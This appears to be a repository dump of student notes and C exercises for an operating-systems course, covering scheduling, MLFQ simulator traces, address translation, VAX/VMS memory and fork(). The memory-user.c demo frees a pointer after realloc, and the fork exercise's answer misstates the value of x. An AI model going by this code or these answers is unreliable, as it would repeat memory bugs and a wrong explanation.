```
CPU0 : A | A | C | C | A | A | C | C |
CPU1 : B | B | D | D | B | B | D | D |
```
But the disadvantage is also obvious: what if a CPU has less jobs?
Here is another example:
```
Q0 -> A(5) -> C(5)
Q1 -> B(50) -> D(50) -> E(100)
```
After 10ms, the CPU0 is on its vocation while CPU1 is still working hard. So a policy which can transfer one job from one CPU to anthoer is needed.
This policy is called `migration`. The system will decide which jobs can be migrated to another CPU accroding to each CPU's work load. But how?
One approach is to use a technique known as `working stealing`: A queue that is low on jobs will ocassionally peek at another queue, to see how full it is. But how to set the right threshold?
```
summary.md
```# Mechanism: Address Translation
## Introduction
The crux of virtualizing memory efficiently and flexibly is **hardware-based address translation**. With address translation, the hardware transforms each memory access, changing the virtual address provided by the instruaction to a physical address where the desired information is actually located.
The hardware just provides the low-level mechanism. The OS must get involved at key points to set up the hardware so that the correct translations take place, it must keep track of which locations are free and which are in use, and judiciously intervening to maintain control over how memory is used.
A program in virtual view is like below: the first part is program code, follows by heap, and the bottom part is stack.

A program in hardware view is like this:
the real memory of the program is relocated, it's different from virtual address.

## Dynamic(Hardware-based) relocation
There are two hardware registers within each CPU:
* Base register. Record a process' start address in physical memory.
* Bound register. This register has two implementations: it can be the size of the address space or the end of the phsysical address space.
A equation:
```
Physical address = virtual address + base address
```
The steps of a virtual address being converted to a physical address is quite simple:
1. Check the virtual address in inside the bounds, the bounds register stores the virtual address not the physical address.
2. Plus the virtual address and base address(physical address) to get the final physical address.```
memory-user.c
```#include <stdlib.h>
#include <stdio.h>
int main(int argc, char *argv[])
{
char cnum = *argv[1];
int num = (cnum - '0');
int i = 0;
printf("num from cli: %d\n", num);
int arr[5] = {1, 2, 3, 4, 5};
int *ipp = malloc(sizeof(int) * num);
int *cip = calloc(num, sizeof(int));
printf("address before realloced : %p\n", ipp);
void *re_address = realloc(ipp, 100);
printf("address after realloced : %p\n", re_address);
free(ipp);
printf("address after free : %p\n", ipp);
}```
README.md
```
# Introduction
All the exercises are from the book, and some might be innovated by myself.
# Resources
http://pages.cs.wisc.edu/~remzi/OSTEP/Homework/homework.html
https://www.cs.wcupa.edu/lngo/docs/csc-331/```
summary.md
```# VAX / VMS Virtual Memory System
## Memory Manage Hardware
VAX-11 offers each process a 32-bit virtual address space.
The bottom part of address space is called "process space". This is unique to each process.
In the bottom part of process space(P0), there's user's code and a heap. In the top part of process space(P1), there's stack.
The top part of address space is "system space". The protected codes and data of system are stored here, this is the way that processes share the OS.

## Swap Page
Here are two optimizations for swaping pages.
### Segmented FIFO
* Each process has a max-page-number of pages that can stay in memory(called RSS).
* If a process(P) oversteps RSS, the first-in pages will be swaped out.
* A second-chance list is used to store the swaped-out pages. If the swaped-out page is clean, it will put into the end of global clean list, if it's dirty, it'll be put into the end of global dirty list.
* When another process(Q) needs a free page, it takes a free page from clean list. But if process P arises an error when recycling this page, process P will find it in the dirty list.
* The global second-chance list bigger, the algorithm's speed is closer to LRU.
### Page clustering
Collecting many pages in global dirty list, write them together into disk, cause disk speed is faster when transfering large data.
## Some Other Great Memory Virtualization Techs
### Page's demand zeroing
When adding a page to some address space, just put a not-accessible entry into the page table. When the process read or write this page, it sends an trap to the system. Then the OS will find a real page.
### Copy on write
If OS needs to copy this page from one address space to another, not by really copying it, but just refecting it to the target address space, and marks this page is read-only. When one address space tries to write this page, traps into the OS, then OS will allocate a new page(real copy).```
06.exercise-01.c
```/**
* @Question 编写一个调用fork()的程序。在调用fork()之前,让主进程访问一个变量(例如x)并将其值设置为某个值(例如100)。
* 子进程中的变量有什么值?
* 当子进程和父进程都改变x的值时,会发生什么?
*
* @Answer 无法提前确定x值,因为无法预知父进程和子进程哪个先执行。
*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main(int argc, char *argv[])
{
int x = 100;
int rc = fork();
if (rc < 0)
{
fprintf(stderr, "fork failed\n");
}
else if (rc == 0)
{
x = 90;
printf("hello,this is child process, and setting x to %d\n", x);
}
else
{
x = 110;
printf("hello, this is parent process, and setting x to %d\n", x);
}
return 0;
}```
summary.md
```# The Abstraction: Address Spaces
## Background
At the very early age, the computer could only be used by one user, so the memory was used by one person.
On the other side, the computers were every expensive, usually one main engine configured with many monitors. So it means many users need to share the same memory.
What will happen in this situation?
1. User A is running a process and takes addresses from `0x1000` to `0x1020`.
2. User B is running another process, no one can make sure that this process won't read or rewrite data in `0x1000` to `0x1020`.
So the first solution is when a user is running a process, this process holds the whole memory. This solution is really slow: others must wait.
The second solution is share the memory to many processes, and each process has its own memory space.

## Address space
The `address space` is an abstraction of physical memory created by OS.
OS allots a huge, virtual, continuous memory space to each process. The process won't know that the memory is physical or virtual.
Each program's memory allocation is like the graph below:

## Goals
1. Transparency. The OS should implement virtual memory in a way that is invisible to the running program.
2. Efficiency. The virtual level should be as quick as possible, and doesn't waste performance.
3. Protection. The OS protect processes from each other. Any process shouldn't access the memory that doesn't belong to itself.
```
question.md
```### 1. Use two jobs and two queues to run several random problems. Calculate each job's MLFQ's executing records. Limit each jobs' length and close I/O to make your life more relax.
```
Here is the list of inputs:
OPTIONS jobs 2
OPTIONS queues 2
OPTIONS allotments for queue 1 is 1
OPTIONS quantum length for queue 1 is 10
OPTIONS allotments for queue 0 is 1
OPTIONS quantum length for queue 0 is 10
OPTIONS boost 0
OPTIONS ioTime 5
OPTIONS stayAfterIO False
OPTIONS iobump False
For each job, three defining characteristics are given:
startTime : at what time does the job enter the system
runTime : the total CPU time needed by the job to finish
ioFreq : every ioFreq time units, the job issues an I/O
(the I/O takes ioTime units to complete)
Job List:
Job 0: startTime 0 - runTime 8 - ioFreq 0
Job 1: startTime 0 - runTime 4 - ioFreq 0
Execution Trace:
[ time 0 ] JOB BEGINS by JOB 0
[ time 0 ] JOB BEGINS by JOB 1
[ time 0 ] Run JOB 0 at PRIORITY 1 [ TICKS 9 ALLOT 1 TIME 7 (of 8) ]
[ time 1 ] Run JOB 0 at PRIORITY 1 [ TICKS 8 ALLOT 1 TIME 6 (of 8) ]
[ time 2 ] Run JOB 0 at PRIORITY 1 [ TICKS 7 ALLOT 1 TIME 5 (of 8) ]
[ time 3 ] Run JOB 0 at PRIORITY 1 [ TICKS 6 ALLOT 1 TIME 4 (of 8) ]
[ time 4 ] Run JOB 0 at PRIORITY 1 [ TICKS 5 ALLOT 1 TIME 3 (of 8) ]
[ time 5 ] Run JOB 0 at PRIORITY 1 [ TICKS 4 ALLOT 1 TIME 2 (of 8) ]
[ time 6 ] Run JOB 0 at PRIORITY 1 [ TICKS 3 ALLOT 1 TIME 1 (of 8) ]
[ time 7 ] Run JOB 0 at PRIORITY 1 [ TICKS 2 ALLOT 1 TIME 0 (of 8) ]
[ time 8 ] FINISHED JOB 0
[ time 8 ] Run JOB 1 at PRIORITY 1 [ TICKS 9 ALLOT 1 TIME 3 (of 4) ]
[ time 9 ] Run JOB 1 at PRIORITY 1 [ TICKS 8 ALLOT 1 TIME 2 (of 4) ]
[ time 10 ] Run JOB 1 at PRIORITY 1 [ TICKS 7 ALLOT 1 TIME 1 (of 4) ]
[ time 11 ] Run JOB 1 at PRIORITY 1 [ TICKS 6 ALLOT 1 TIME 0 (of 4) ]
[ time 12 ] FINISHED JOB 1
Final statistics:
Job 0: startTime 0 - response 0 - turnaround 8
Job 1: startTime 0 - response 8 - turnaround 12
Avg 1: startTime n/a - response 4.00 - turnaround 10.00
```
### 2. Run sheduler program to simulate all the examples in this chapter.
**Example1: a long job**
```
Here is the list of inputs:
OPTIONS jobs 1
OPTIONS queues 3
OPTIONS allotments for queue 2 is 1
OPTIONS quantum length for queue 2 is 10
OPTIONS allotments for queue 1 is 1
OPTIONS quantum length for queue 1 is 10
OPTIONS allotments for queue 0 is 1
OPTIONS quantum length for queue 0 is 10
OPTIONS boost 0
OPTIONS ioTime 5
OPTIONS stayAfterIO False
OPTIONS iobump False
For each job, three defining characteristics are given:
startTime : at what time does the job enter the system
runTime : the total CPU time needed by the job to finish
ioFreq : every ioFreq time units, the job issues an I/O
(the I/O takes ioTime units to complete)
Job List:
Job 0: startTime 0 - runTime 84 - ioFreq 0
Execution Trace:
[ time 0 ] JOB BEGINS by JOB 0
[ time 0 ] Run JOB 0 at PRIORITY 2 [ TICKS 9 ALLOT 1 TIME 83 (of 84) ]
[ time 1 ] Run JOB 0 at PRIORITY 2 [ TICKS 8 ALLOT 1 TIME 82 (of 84) ]
[ time 2 ] Run JOB 0 at PRIORITY 2 [ TICKS 7 ALLOT 1 TIME 81 (of 84) ]
[ time 3 ] Run JOB 0 at PRIORITY 2 [ TICKS 6 ALLOT 1 TIME 80 (of 84) ]
[ time 4 ] Run JOB 0 at PRIORITY 2 [ TICKS 5 ALLOT 1 TIME 79 (of 84) ]
[ time 5 ] Run JOB 0 at PRIORITY 2 [ TICKS 4 ALLOT 1 TIME 78 (of 84) ]
[ time 6 ] Run JOB 0 at PRIORITY 2 [ TICKS 3 ALLOT 1 TIME 77 (of 84) ]
[ time 7 ] Run JOB 0 at PRIORITY 2 [ TICKS 2 ALLOT 1 TIME 76 (of 84) ]
[ time 8 ] Run JOB 0 at PRIORITY 2 [ TICKS 1 ALLOT 1 TIME 75 (of 84) ]
[ time 9 ] Run JOB 0 at PRIORITY 2 [ TICKS 0 ALLOT 1 TIME 74 (of 84) ]
[ time 10 ] Run JOB 0 at PRIORITY 1 [ TICKS 9 ALLOT 1 TIME 73 (of 84) ]
[ time 11 ] Run JOB 0 at PRIORITY 1 [ TICKS 8 ALLOT 1 TIME 72 (of 84) ]
[ time 12 ] Run JOB 0 at PRIORITY 1 [ TICKS 7 ALLOT 1 TIME 71 (of 84) ]
[ time 13 ] Run JOB 0 at PRIORITY 1 [ TICKS 6 ALLOT 1 TIME 70 (of 84) ]
[ time 14 ] Run JOB 0 at PRIORITY 1 [ TICKS 5 ALLOT 1 TIME 69 (of 84) ]
[ time 15 ] Run JOB 0 at PRIORITY 1 [ TICKS 4 ALLOT 1 TIME 68 (of 84) ]
[ time 16 ] Run JOB 0 at PRIORITY 1 [ TICKS 3 ALLOT 1 TIME 67 (of 84) ]
[ time 17 ] Run JOB 0 at PRIORITY 1 [ TICKS 2 ALLOT 1 TIME 66 (of 84) ]
[ time 18 ] Run JOB 0 at PRIORITY 1 [ TICKS 1 ALLOT 1 TIME 65 (of 84) ]
[ time 19 ] Run JOB 0 at PRIORITY 1 [ TICKS 0 ALLOT 1 TIME 64 (of 84) ]
[ time 20 ] Run JOB 0 at PRIORITY 0 [ TICKS 9 ALLOT 1 TIME 63 (of 84) ]
[ time 21 ] Run JOB 0 at PRIORITY 0 [ TICKS 8 ALLOT 1 TIME 62 (of 84) ]
[ time 22 ] Run JOB 0 at PRIORITY 0 [ TICKS 7 ALLOT 1 TIME 61 (of 84) ]
[ time 23 ] Run JOB 0 at PRIORITY 0 [ TICKS 6 ALLOT 1 TIME 60 (of 84) ]
[ time 24 ] Run JOB 0 at PRIORITY 0 [ TICKS 5 ALLOT 1 TIME 59 (of 84) ]
[ time 25 ] Run JOB 0 at PRIORITY 0 [ TICKS 4 ALLOT 1 TIME 58 (of 84) ]
[ time 26 ] Run JOB 0 at PRIORITY 0 [ TICKS 3 ALLOT 1 TIME 57 (of 84) ]
[ time 27 ] Run JOB 0 at PRIORITY 0 [ TICKS 2 ALLOT 1 TIME 56 (of 84) ]
[ time 28 ] Run JOB 0 at PRIORITY 0 [ TICKS 1 ALLOT 1 TIME 55 (of 84) ]
[ time 29 ] Run JOB 0 at PRIORITY 0 [ TICKS 0 ALLOT 1 TIME 54 (of 84) ]
[ time 30 ] Run JOB 0 at PRIORITY 0 [ TICKS 9 ALLOT 1 TIME 53 (of 84) ]
[ time 31 ] Run JOB 0 at PRIORITY 0 [ TICKS 8 ALLOT 1 TIME 52 (of 84) ]
[ time 32 ] Run JOB 0 at PRIORITY 0 [ TICKS 7 ALLOT 1 TIME 51 (of 84) ]
[ time 33 ] Run JOB 0 at PRIORITY 0 [ TICKS 6 ALLOT 1 TIME 50 (of 84) ]
[ time 34 ] Run JOB 0 at PRIORITY 0 [ TICKS 5 ALLOT 1 TIME 49 (of 84) ]
[ time 35 ] Run JOB 0 at PRIORITY 0 [ TICKS 4 ALLOT 1 TIME 48 (of 84) ]
[ time 36 ] Run JOB 0 at PRIORITY 0 [ TICKS 3 ALLOT 1 TIME 47 (of 84) ]
[ time 37 ] Run JOB 0 at PRIORITY 0 [ TICKS 2 ALLOT 1 TIME 46 (of 84) ]
[ time 38 ] Run JOB 0 at PRIORITY 0 [ TICKS 1 ALLOT 1 TIME 45 (of 84) ]
[ time 39 ] Run JOB 0 at PRIORITY 0 [ TICKS 0 ALLOT 1 TIME 44 (of 84) ]
[ time 40 ] Run JOB 0 at PRIORITY 0 [ TICKS 9 ALLOT 1 TIME 43 (of 84) ]
[ time 41 ] Run JOB 0 at PRIORITY 0 [ TICKS 8 ALLOT 1 TIME 42 (of 84) ]
[ time 42 ] Run JOB 0 at PRIORITY 0 [ TICKS 7 ALLOT 1 TIME 41 (of 84) ]
[ time 43 ] Run JOB 0 at PRIORITY 0 [ TICKS 6 ALLOT 1 TIME 40 (of 84) ]
[ time 44 ] Run JOB 0 at PRIORITY 0 [ TICKS 5 ALLOT 1 TIME 39 (of 84) ]
[ time 45 ] Run JOB 0 at PRIORITY 0 [ TICKS 4 ALLOT 1 TIME 38 (of 84) ]
[ time 46 ] Run JOB 0 at PRIORITY 0 [ TICKS 3 ALLOT 1 TIME 37 (of 84) ]
[ time 47 ] Run JOB 0 at PRIORITY 0 [ TICKS 2 ALLOT 1 TIME 36 (of 84) ]
[ time 48 ] Run JOB 0 at PRIORITY 0 [ TICKS 1 ALLOT 1 TIME 35 (of 84) ]
[ time 49 ] Run JOB 0 at PRIORITY 0 [ TICKS 0 ALLOT 1 TIME 34 (of 84) ]
[ time 50 ] Run JOB 0 at PRIORITY 0 [ TICKS 9 ALLOT 1 TIME 33 (of 84) ]
[ time 51 ] Run JOB 0 at PRIORITY 0 [ TICKS 8 ALLOT 1 TIME 32 (of 84) ]
[ time 52 ] Run JOB 0 at PRIORITY 0 [ TICKS 7 ALLOT 1 TIME 31 (of 84) ]
[ time 53 ] Run JOB 0 at PRIORITY 0 [ TICKS 6 ALLOT 1 TIME 30 (of 84) ]
[ time 54 ] Run JOB 0 at PRIORITY 0 [ TICKS 5 ALLOT 1 TIME 29 (of 84) ]
[ time 55 ] Run JOB 0 at PRIORITY 0 [ TICKS 4 ALLOT 1 TIME 28 (of 84) ]
[ time 56 ] Run JOB 0 at PRIORITY 0 [ TICKS 3 ALLOT 1 TIME 27 (of 84) ]
[ time 57 ] Run JOB 0 at PRIORITY 0 [ TICKS 2 ALLOT 1 TIME 26 (of 84) ]
[ time 58 ] Run JOB 0 at PRIORITY 0 [ TICKS 1 ALLOT 1 TIME 25 (of 84) ]
[ time 59 ] Run JOB 0 at PRIORITY 0 [ TICKS 0 ALLOT 1 TIME 24 (of 84) ]
[ time 60 ] Run JOB 0 at PRIORITY 0 [ TICKS 9 ALLOT 1 TIME 23 (of 84) ]
[ time 61 ] Run JOB 0 at PRIORITY 0 [ TICKS 8 ALLOT 1 TIME 22 (of 84) ]
[ time 62 ] Run JOB 0 at PRIORITY 0 [ TICKS 7 ALLOT 1 TIME 21 (of 84) ]
[ time 63 ] Run JOB 0 at PRIORITY 0 [ TICKS 6 ALLOT 1 TIME 20 (of 84) ]
[ time 64 ] Run JOB 0 at PRIORITY 0 [ TICKS 5 ALLOT 1 TIME 19 (of 84) ]
[ time 65 ] Run JOB 0 at PRIORITY 0 [ TICKS 4 ALLOT 1 TIME 18 (of 84) ]
[ time 66 ] Run JOB 0 at PRIORITY 0 [ TICKS 3 ALLOT 1 TIME 17 (of 84) ]
[ time 67 ] Run JOB 0 at PRIORITY 0 [ TICKS 2 ALLOT 1 TIME 16 (of 84) ]
[ time 68 ] Run JOB 0 at PRIORITY 0 [ TICKS 1 ALLOT 1 TIME 15 (of 84) ]
[ time 69 ] Run JOB 0 at PRIORITY 0 [ TICKS 0 ALLOT 1 TIME 14 (of 84) ]
[ time 70 ] Run JOB 0 at PRIORITY 0 [ TICKS 9 ALLOT 1 TIME 13 (of 84) ]
[ time 71 ] Run JOB 0 at PRIORITY 0 [ TICKS 8 ALLOT 1 TIME 12 (of 84) ]
[ time 72 ] Run JOB 0 at PRIORITY 0 [ TICKS 7 ALLOT 1 TIME 11 (of 84) ]
[ time 73 ] Run JOB 0 at PRIORITY 0 [ TICKS 6 ALLOT 1 TIME 10 (of 84) ]
[ time 74 ] Run JOB 0 at PRIORITY 0 [ TICKS 5 ALLOT 1 TIME 9 (of 84) ]
[ time 75 ] Run JOB 0 at PRIORITY 0 [ TICKS 4 ALLOT 1 TIME 8 (of 84) ]
[ time 76 ] Run JOB 0 at PRIORITY 0 [ TICKS 3 ALLOT 1 TIME 7 (of 84) ]
[ time 77 ] Run JOB 0 at PRIORITY 0 [ TICKS 2 ALLOT 1 TIME 6 (of 84) ]
[ time 78 ] Run JOB 0 at PRIORITY 0 [ TICKS 1 ALLOT 1 TIME 5 (of 84) ]
[ time 79 ] Run JOB 0 at PRIORITY 0 [ TICKS 0 ALLOT 1 TIME 4 (of 84) ]
[ time 80 ] Run JOB 0 at PRIORITY 0 [ TICKS 9 ALLOT 1 TIME 3 (of 84) ]
[ time 81 ] Run JOB 0 at PRIORITY 0 [ TICKS 8 ALLOT 1 TIME 2 (of 84) ]
[ time 82 ] Run JOB 0 at PRIORITY 0 [ TICKS 7 ALLOT 1 TIME 1 (of 84) ]
[ time 83 ] Run JOB 0 at PRIORITY 0 [ TICKS 6 ALLOT 1 TIME 0 (of 84) ]
[ time 84 ] FINISHED JOB 0
Final statistics:
Job 0: startTime 0 - response 0 - turnaround 84
Avg 0: startTime n/a - response 0.00 - turnaround 84.00
```
**Example 2: a short job arrives**
```
Here is the list of inputs:
OPTIONS jobs 2
OPTIONS queues 3
OPTIONS allotments for queue 2 is 1
OPTIONS quantum length for queue 2 is 10
OPTIONS allotments for queue 1 is 1
OPTIONS quantum length for queue 1 is 10
OPTIONS allotments for queue 0 is 1
OPTIONS quantum length for queue 0 is 10
OPTIONS boost 0
OPTIONS ioTime 5
OPTIONS stayAfterIO False
OPTIONS iobump False
For each job, three defining characteristics are given:
startTime : at what time does the job enter the system
runTime : the total CPU time needed by the job to finish
ioFreq : every ioFreq time units, the job issues an I/O
(the I/O takes ioTime units to complete)
Job List:
Job 0: startTime 0 - runTime 100 - ioFreq 0
Job 1: startTime 50 - runTime 20 - ioFreq 10
Execution Trace:
[ time 0 ] JOB BEGINS by JOB 0
[ time 0 ] Run JOB 0 at PRIORITY 2 [ TICKS 9 ALLOT 1 TIME 99 (of 100) ]
[ time 1 ] Run JOB 0 at PRIORITY 2 [ TICKS 8 ALLOT 1 TIME 98 (of 100) ]
[ time 2 ] Run JOB 0 at PRIORITY 2 [ TICKS 7 ALLOT 1 TIME 97 (of 100) ]
[ time 3 ] Run JOB 0 at PRIORITY 2 [ TICKS 6 ALLOT 1 TIME 96 (of 100) ]
[ time 4 ] Run JOB 0 at PRIORITY 2 [ TICKS 5 ALLOT 1 TIME 95 (of 100) ]
[ time 5 ] Run JOB 0 at PRIORITY 2 [ TICKS 4 ALLOT 1 TIME 94 (of 100) ]
[ time 6 ] Run JOB 0 at PRIORITY 2 [ TICKS 3 ALLOT 1 TIME 93 (of 100) ]
[ time 7 ] Run JOB 0 at PRIORITY 2 [ TICKS 2 ALLOT 1 TIME 92 (of 100) ]
[ time 8 ] Run JOB 0 at PRIORITY 2 [ TICKS 1 ALLOT 1 TIME 91 (of 100) ]
[ time 9 ] Run JOB 0 at PRIORITY 2 [ TICKS 0 ALLOT 1 TIME 90 (of 100) ]
[ time 10 ] Run JOB 0 at PRIORITY 1 [ TICKS 9 ALLOT 1 TIME 89 (of 100) ]
[ time 11 ] Run JOB 0 at PRIORITY 1 [ TICKS 8 ALLOT 1 TIME 88 (of 100) ]
[ time 12 ] Run JOB 0 at PRIORITY 1 [ TICKS 7 ALLOT 1 TIME 87 (of 100) ]
[ time 13 ] Run JOB 0 at PRIORITY 1 [ TICKS 6 ALLOT 1 TIME 86 (of 100) ]
[ time 14 ] Run JOB 0 at PRIORITY 1 [ TICKS 5 ALLOT 1 TIME 85 (of 100) ]
[ time 15 ] Run JOB 0 at PRIORITY 1 [ TICKS 4 ALLOT 1 TIME 84 (of 100) ]
[ time 16 ] Run JOB 0 at PRIORITY 1 [ TICKS 3 ALLOT 1 TIME 83 (of 100) ]
[ time 17 ] Run JOB 0 at PRIORITY 1 [ TICKS 2 ALLOT 1 TIME 82 (of 100) ]
[ time 18 ] Run JOB 0 at PRIORITY 1 [ TICKS 1 ALLOT 1 TIME 81 (of 100) ]
[ time 19 ] Run JOB 0 at PRIORITY 1 [ TICKS 0 ALLOT 1 TIME 80 (of 100) ]
[ time 20 ] Run JOB 0 at PRIORITY 0 [ TICKS 9 ALLOT 1 TIME 79 (of 100) ]
[ time 21 ] Run JOB 0 at PRIORITY 0 [ TICKS 8 ALLOT 1 TIME 78 (of 100) ]
[ time 22 ] Run JOB 0 at PRIORITY 0 [ TICKS 7 ALLOT 1 TIME 77 (of 100) ]
[ time 23 ] Run JOB 0 at PRIORITY 0 [ TICKS 6 ALLOT 1 TIME 76 (of 100) ]
[ time 24 ] Run JOB 0 at PRIORITY 0 [ TICKS 5 ALLOT 1 TIME 75 (of 100) ]
[ time 25 ] Run JOB 0 at PRIORITY 0 [ TICKS 4 ALLOT 1 TIME 74 (of 100) ]
[ time 26 ] Run JOB 0 at PRIORITY 0 [ TICKS 3 ALLOT 1 TIME 73 (of 100) ]
[ time 27 ] Run JOB 0 at PRIORITY 0 [ TICKS 2 ALLOT 1 TIME 72 (of 100) ]
[ time 28 ] Run JOB 0 at PRIORITY 0 [ TICKS 1 ALLOT 1 TIME 71 (of 100) ]
[ time 29 ] Run JOB 0 at PRIORITY 0 [ TICKS 0 ALLOT 1 TIME 70 (of 100) ]
[ time 30 ] Run JOB 0 at PRIORITY 0 [ TICKS 9 ALLOT 1 TIME 69 (of 100) ]
[ time 31 ] Run JOB 0 at PRIORITY 0 [ TICKS 8 ALLOT 1 TIME 68 (of 100) ]
[ time 32 ] Run JOB 0 at PRIORITY 0 [ TICKS 7 ALLOT 1 TIME 67 (of 100) ]
[ time 33 ] Run JOB 0 at PRIORITY 0 [ TICKS 6 ALLOT 1 TIME 66 (of 100) ]
[ time 34 ] Run JOB 0 at PRIORITY 0 [ TICKS 5 ALLOT 1 TIME 65 (of 100) ]
[ time 35 ] Run JOB 0 at PRIORITY 0 [ TICKS 4 ALLOT 1 TIME 64 (of 100) ]
[ time 36 ] Run JOB 0 at PRIORITY 0 [ TICKS 3 ALLOT 1 TIME 63 (of 100) ]
[ time 37 ] Run JOB 0 at PRIORITY 0 [ TICKS 2 ALLOT 1 TIME 62 (of 100) ]
[ time 38 ] Run JOB 0 at PRIORITY 0 [ TICKS 1 ALLOT 1 TIME 61 (of 100) ]
[ time 39 ] Run JOB 0 at PRIORITY 0 [ TICKS 0 ALLOT 1 TIME 60 (of 100) ]
[ time 40 ] Run JOB 0 at PRIORITY 0 [ TICKS 9 ALLOT 1 TIME 59 (of 100) ]
[ time 41 ] Run JOB 0 at PRIORITY 0 [ TICKS 8 ALLOT 1 TIME 58 (of 100) ]
[ time 42 ] Run JOB 0 at PRIORITY 0 [ TICKS 7 ALLOT 1 TIME 57 (of 100) ]
[ time 43 ] Run JOB 0 at PRIORITY 0 [ TICKS 6 ALLOT 1 TIME 56 (of 100) ]
[ time 44 ] Run JOB 0 at PRIORITY 0 [ TICKS 5 ALLOT 1 TIME 55 (of 100) ]
[ time 45 ] Run JOB 0 at PRIORITY 0 [ TICKS 4 ALLOT 1 TIME 54 (of 100) ]
[ time 46 ] Run JOB 0 at PRIORITY 0 [ TICKS 3 ALLOT 1 TIME 53 (of 100) ]
[ time 47 ] Run JOB 0 at PRIORITY 0 [ TICKS 2 ALLOT 1 TIME 52 (of 100) ]
[ time 48 ] Run JOB 0 at PRIORITY 0 [ TICKS 1 ALLOT 1 TIME 51 (of 100) ]
[ time 49 ] Run JOB 0 at PRIORITY 0 [ TICKS 0 ALLOT 1 TIME 50 (of 100) ]
[ time 50 ] JOB BEGINS by JOB 1
[ time 50 ] Run JOB 1 at PRIORITY 2 [ TICKS 9 ALLOT 1 TIME 19 (of 20) ]
[ time 51 ] Run JOB 1 at PRIORITY 2 [ TICKS 8 ALLOT 1 TIME 18 (of 20) ]
[ time 52 ] Run JOB 1 at PRIORITY 2 [ TICKS 7 ALLOT 1 TIME 17 (of 20) ]
[ time 53 ] Run JOB 1 at PRIORITY 2 [ TICKS 6 ALLOT 1 TIME 16 (of 20) ]
[ time 54 ] Run JOB 1 at PRIORITY 2 [ TICKS 5 ALLOT 1 TIME 15 (of 20) ]
[ time 55 ] Run JOB 1 at PRIORITY 2 [ TICKS 4 ALLOT 1 TIME 14 (of 20) ]
[ time 56 ] Run JOB 1 at PRIORITY 2 [ TICKS 3 ALLOT 1 TIME 13 (of 20) ]
[ time 57 ] Run JOB 1 at PRIORITY 2 [ TICKS 2 ALLOT 1 TIME 12 (of 20) ]
[ time 58 ] Run JOB 1 at PRIORITY 2 [ TICKS 1 ALLOT 1 TIME 11 (of 20) ]
[ time 59 ] Run JOB 1 at PRIORITY 2 [ TICKS 0 ALLOT 1 TIME 10 (of 20) ]
[ time 60 ] IO_START by JOB 1
IO DONE
[ time 60 ] Run JOB 0 at PRIORITY 0 [ TICKS 9 ALLOT 1 TIME 49 (of 100) ]
[ time 61 ] Run JOB 0 at PRIORITY 0 [ TICKS 8 ALLOT 1 TIME 48 (of 100) ]
[ time 62 ] Run JOB 0 at PRIORITY 0 [ TICKS 7 ALLOT 1 TIME 47 (of 100) ]
[ time 63 ] Run JOB 0 at PRIORITY 0 [ TICKS 6 ALLOT 1 TIME 46 (of 100) ]
[ time 64 ] Run JOB 0 at PRIORITY 0 [ TICKS 5 ALLOT 1 TIME 45 (of 100) ]
[ time 65 ] IO_DONE by JOB 1
[ time 65 ] Run JOB 1 at PRIORITY 1 [ TICKS 9 ALLOT 1 TIME 9 (of 20) ]
[ time 66 ] Run JOB 1 at PRIORITY 1 [ TICKS 8 ALLOT 1 TIME 8 (of 20) ]
[ time 67 ] Run JOB 1 at PRIORITY 1 [ TICKS 7 ALLOT 1 TIME 7 (of 20) ]
[ time 68 ] Run JOB 1 at PRIORITY 1 [ TICKS 6 ALLOT 1 TIME 6 (of 20) ]
[ time 69 ] Run JOB 1 at PRIORITY 1 [ TICKS 5 ALLOT 1 TIME 5 (of 20) ]
[ time 70 ] Run JOB 1 at PRIORITY 1 [ TICKS 4 ALLOT 1 TIME 4 (of 20) ]
[ time 71 ] Run JOB 1 at PRIORITY 1 [ TICKS 3 ALLOT 1 TIME 3 (of 20) ]
[ time 72 ] Run JOB 1 at PRIORITY 1 [ TICKS 2 ALLOT 1 TIME 2 (of 20) ]
[ time 73 ] Run JOB 1 at PRIORITY 1 [ TICKS 1 ALLOT 1 TIME 1 (of 20) ]
[ time 74 ] Run JOB 1 at PRIORITY 1 [ TICKS 0 ALLOT 1 TIME 0 (of 20) ]
[ time 75 ] FINISHED JOB 1
[ time 75 ] Run JOB 0 at PRIORITY 0 [ TICKS 4 ALLOT 1 TIME 44 (of 100) ]
[ time 76 ] Run JOB 0 at PRIORITY 0 [ TICKS 3 ALLOT 1 TIME 43 (of 100) ]
[ time 77 ] Run JOB 0 at PRIORITY 0 [ TICKS 2 ALLOT 1 TIME 42 (of 100) ]
[ time 78 ] Run JOB 0 at PRIORITY 0 [ TICKS 1 ALLOT 1 TIME 41 (of 100) ]
[ time 79 ] Run JOB 0 at PRIORITY 0 [ TICKS 0 ALLOT 1 TIME 40 (of 100) ]
[ time 80 ] Run JOB 0 at PRIORITY 0 [ TICKS 9 ALLOT 1 TIME 39 (of 100) ]
[ time 81 ] Run JOB 0 at PRIORITY 0 [ TICKS 8 ALLOT 1 TIME 38 (of 100) ]
[ time 82 ] Run JOB 0 at PRIORITY 0 [ TICKS 7 ALLOT 1 TIME 37 (of 100) ]
[ time 83 ] Run JOB 0 at PRIORITY 0 [ TICKS 6 ALLOT 1 TIME 36 (of 100) ]
[ time 84 ] Run JOB 0 at PRIORITY 0 [ TICKS 5 ALLOT 1 TIME 35 (of 100) ]
[ time 85 ] Run JOB 0 at PRIORITY 0 [ TICKS 4 ALLOT 1 TIME 34 (of 100) ]
[ time 86 ] Run JOB 0 at PRIORITY 0 [ TICKS 3 ALLOT 1 TIME 33 (of 100) ]
[ time 87 ] Run JOB 0 at PRIORITY 0 [ TICKS 2 ALLOT 1 TIME 32 (of 100) ]
[ time 88 ] Run JOB 0 at PRIORITY 0 [ TICKS 1 ALLOT 1 TIME 31 (of 100) ]
[ time 89 ] Run JOB 0 at PRIORITY 0 [ TICKS 0 ALLOT 1 TIME 30 (of 100) ]
[ time 90 ] Run JOB 0 at PRIORITY 0 [ TICKS 9 ALLOT 1 TIME 29 (of 100) ]
[ time 91 ] Run JOB 0 at PRIORITY 0 [ TICKS 8 ALLOT 1 TIME 28 (of 100) ]
[ time 92 ] Run JOB 0 at PRIORITY 0 [ TICKS 7 ALLOT 1 TIME 27 (of 100) ]
[ time 93 ] Run JOB 0 at PRIORITY 0 [ TICKS 6 ALLOT 1 TIME 26 (of 100) ]
[ time 94 ] Run JOB 0 at PRIORITY 0 [ TICKS 5 ALLOT 1 TIME 25 (of 100) ]
[ time 95 ] Run JOB 0 at PRIORITY 0 [ TICKS 4 ALLOT 1 TIME 24 (of 100) ]
[ time 96 ] Run JOB 0 at PRIORITY 0 [ TICKS 3 ALLOT 1 TIME 23 (of 100) ]
